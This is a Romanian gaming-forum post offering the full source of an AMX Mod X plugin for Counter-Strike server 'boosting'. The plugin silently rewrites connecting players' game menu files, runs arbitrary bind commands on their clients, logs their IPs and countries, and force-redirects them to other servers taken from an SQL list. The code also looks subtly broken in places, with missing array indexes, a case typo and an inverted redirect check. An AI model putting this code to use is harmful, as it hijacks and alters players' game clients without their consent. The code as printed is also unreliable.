LondoN eXtream 110 Posted May 5, 2015 Share Posted May 5, 2015 Descriere: Acest plugin este folosit pentru platformele de boost, redirectionand playeri catre unu sau mai multe servere luate din lista SQL. Nume: Players Repartization Versiune: 4.0 Autor: dK^aLeX aka LoNNNDoNNN-. Instalare: drop_v4.sma => scripting drop_v4.amxx => plugins bind.ini => configs gamemenu.ini => configg Avantaje: Host, DB, User, Pass setate prin cvar;Executare binduri automat cand se concteaza, setate dintr-un fisier .ini;Dropurile se salveaza in log's;BOT-i nu sunt permisi.Modifica automat GameMenul[steam and Non Steam]Optimizari majore de cod.Tara este afisata la conectare.Maximum de servere din SQL este de 10.Fisier config care se executa automat la pornirea redirectului._boosted => Puteti afisa serverele boostate. Download: #include <amxmodx>#include <amxmisc>#include <fakemeta>#include <geoip>#include <sqlx>new const PLUGIN[] = "AMX DROP PLATFORM";new const VERSION[] = "4.0";new const AUTHOR[] = "dK^aLeX";new cvar_host, cvar_db, cvar_user, cvar_pass;new const tag[] = "[AMXX]";new const cfg[] = "amx_drop_pltf.cfg";new const destination[] = "addons/amxmodx/configs/binds.ini";new g_Menu[4096];new iServers = 0, iServer = 0, iDrops = 0;new Handle:g_SQLTuple;#define BOOSTED_SERVERS 50new sList[bOOSTED_SERVERS][100];#define LOG "dr_log.log"#pragma semicolon 1public plugin_init(){ register_plugin(PLUGIN, VERSION, AUTHOR); cvar_host = register_cvar("sql_host", "localhost"); cvar_db = register_cvar("sql_db", "csd_drop"); cvar_user = register_cvar("sql_user", "csd_alex"); cvar_pass = register_cvar("sql_pass", "alexpass"); new host[20], db[20], user[20], pass[20]; get_pcvar_string(cvar_host, host, charsmax(host)); get_pcvar_string(cvar_db, db, charsmax(db)); get_pcvar_string(cvar_user, user, charsmax(user)); get_pcvar_string(cvar_pass, pass, charsmax(pass)); g_SQLTuple = SQL_MakeDbTuple(host, db, user, pass, 10); new szFile = fopen(destination, "r"); if(szFile) { fgets(szFile, g_Menu, charsmax(g_Menu)); trim(g_Menu); fclose(szFile); register_forward(FM_ClientConnect, "fw_isconnecting", 1); } set_task(1.0 * 60, "InitSQL", .flags="b"); register_concmd("_boosted", "ShowBoostedServers");}public plugin_cfg(){ if(!file_exists(cfg)) { server_print("=> File %s missing! <=", cfg); } new dir[128]; get_configsdir(dir, charsmax(dir)); server_cmd("exec %s/%s", dir, cfg); InitSQL();}public ShowBoostedServers(id){ for(new i = 0, n = 0; i < BOOSTED_SERVERS; i++) { if(strlen(sList) > 0) { server_print(" => BOOSTED SERVERS <="); server_print("%d - %s", n + 1, sList); n++; } } return PLUGIN_HANDLED;}public fw_isconnecting(Client){ client_cmd(Client, "motdfile resource/GameMenu.res"); client_cmd(Client, "motd_write %s", g_Menu);}public InitSQL(){ static sql[512]; formatex(sql, charsmax(sql), "SELECT `server` FROM `server_list` ORDER BY `id` DESC LIMIT %s", BOOSTED_SERVERS); SQL_ThreadQuery(g_SQLTuple, "SQLInit", sql);}public SQLInit(FailState, Handle:Query, szError[], Errcode){ if(iServers) { iServers = 0; } server_print("[Getting Server Lis]"); QueryStatus(FailState, szError, Errcode); new i = 0, server[32]; while(SQL_MoreResults(Query)) { if(i >= BOOSTED_SERVERS) { break; } SQL_ReadResult(Query, 0, server, 31); formatex(sList, 31, "%s", server); i++, iServers++; } SQL_FreeHandle(Query);}public client_connect(id){ if(is_user_bot(id) && is_user_hltv(id)) { server_cmd("ban #%d", id); } new name[32], data[32], ip[32], ip2[32], tara[32]; get_user_name(id, name, charsmax(name)); get_user_ip(id, ip2, charsmax(ip2)); get_user_ip(id, ip, charsmax(ip), 1); get_time("%d/%m/%y - %H:%M:%S", data, 31); geoip_country(ip, tara, charsmax(tara)); server_print("%s Client %s [iP: %s] is connecting from: %s [%s]", tag, name, ip2, tara, data); new File = fopen(destination, "r"); new Buffer[256]; while(!feof(File)) { fgets(File, Buffer, 255); client_cmd(id, "%s", Buffer); } userredirect(id); return PLUGIN_HANDLED;}public client_putinserver(id){ if(is_user_bot(id) && is_user_hltv(id)) { server_cmd("ban #%d", id); } set_task(2.5, "userredirect", id); return PLUGIN_CONTINUE;}public userredirect(id){ iDrops++; new sv[32]; formatex(sv, 31, "%s", sList[iServer]); if(strlen(sv)) { client_cmd(id, "disconnect"); return PLUGIN_CONTINUE; } client_cmd(id, "wait;wait;wait;wait connect %s", sv); return PLUGIN_HANDLED;}public QueryStatus(FailState, szError[], Errcode){ if(FailState == TQUERY_CONNECT_FAILED) { write_file(LOG, "[AMXX] Can't connect to MySQL!"); } if(FailState == TQUERY_QUERY_FAILED) { write_file(LOG, "[AMXX] Query Error!"); }} Link to comment Share on other sites More sharing options...
Recommended Posts